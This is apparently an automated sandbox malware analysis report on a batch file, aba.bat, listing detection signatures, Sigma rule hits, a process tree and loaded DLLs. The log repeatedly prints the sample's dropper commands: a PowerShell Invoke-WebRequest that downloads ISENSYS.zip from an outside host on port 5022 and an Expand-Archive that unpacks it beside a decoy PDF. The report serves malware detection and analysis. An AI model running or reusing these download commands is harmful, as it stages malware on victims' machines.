Edit tour

Windows Analysis Report
aba.bat

Overview

General Information

Sample name:	aba.bat
Analysis ID:	1547374
MD5:	ea3d0f0e2de5578f6d522ef614096b70
SHA1:	32ebb69cc3675036560a00a6bddbeeab7351e641
SHA256:	4f02b6efab9a261cfbb6d5c6abff8b3e5e4bcd9cb8e72e2c60e32b9e63660130
Tags:	batmedcolemantang-nluser-JAMESWT_MHT
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Loading BitLocker PowerShell Module

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Classification

Process Tree

System is w10x64

cmd.exe (PID: 3704 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\aba.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 6304 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LSBIHQFDVT.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7392 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1604,i,5526137494411194889,13916329152367397828,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

timeout.exe (PID: 3892 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 5268 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8104 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\ISENSYS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7204 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8104, TargetFilename: C:\Users\user\Downloads\ymca\Launcher\py.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\aba.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", ProcessId: 5268, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\aba.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", ProcessId: 5268, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\aba.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }", ProcessId: 5268, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7204, ProcessName: svchost.exe

Source:	Binary string: pdb.Pdb.__init__(self, stdout=out, nosigint=True) source: doctest.py.15.dr
Source:	Binary string: <p>The <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> class constructor has a new optional <em>readrc</em> argument source: 3.6.html.15.dr
Source:	Binary string: return pdb.Pdb.trace_dispatch(self, *args) source: doctest.py.15.dr
Source:	Binary string: <td><p>Install debugging symbols (<code class="docutils literal notranslate"><span class="pre">*.pdb</span></code>)</p></td> source: windows.html2.15.dr
Source:	Binary string: pdb.Pdb.set_trace(self, frame) source: doctest.py.15.dr
Source:	Binary string: class _OutputRedirectingPdb(pdb.Pdb): source: doctest.py.15.dr
Source:	Binary string: pdb.Pdb(nosigint=True).run("exec(%r)" % src, globs, globs) source: doctest.py.15.dr
Source:	Binary string: .pdbrc source: genindex-all.html.15.dr
Source:	Binary string: pdb.Pdb.set_continue(self) source: doctest.py.15.dr
Source:	Binary string: p = pdb.Pdb(nosigint=True) source: doctest.py.15.dr
Source:	Binary string: <li><a href="library/pdb.html#index-2">.pdbrc</a> source: genindex-all.html.15.dr
Source:	Binary string: to control whether <code class="docutils literal notranslate"><span class="pre">.pdbrc</span></code> files should be read.</p> source: 3.6.html.15.dr

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2328:120:WilError_03

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\aba.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LSBIHQFDVT.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1604,i,5526137494411194889,13916329152367397828,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\ISENSYS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LSBIHQFDVT.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://vptriathloninc.com:5022/ISENSYS.zip' -OutFile 'C:\Users\user\Downloads\ISENSYS.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\ISENSYS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1604,i,5526137494411194889,13916329152367397828,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
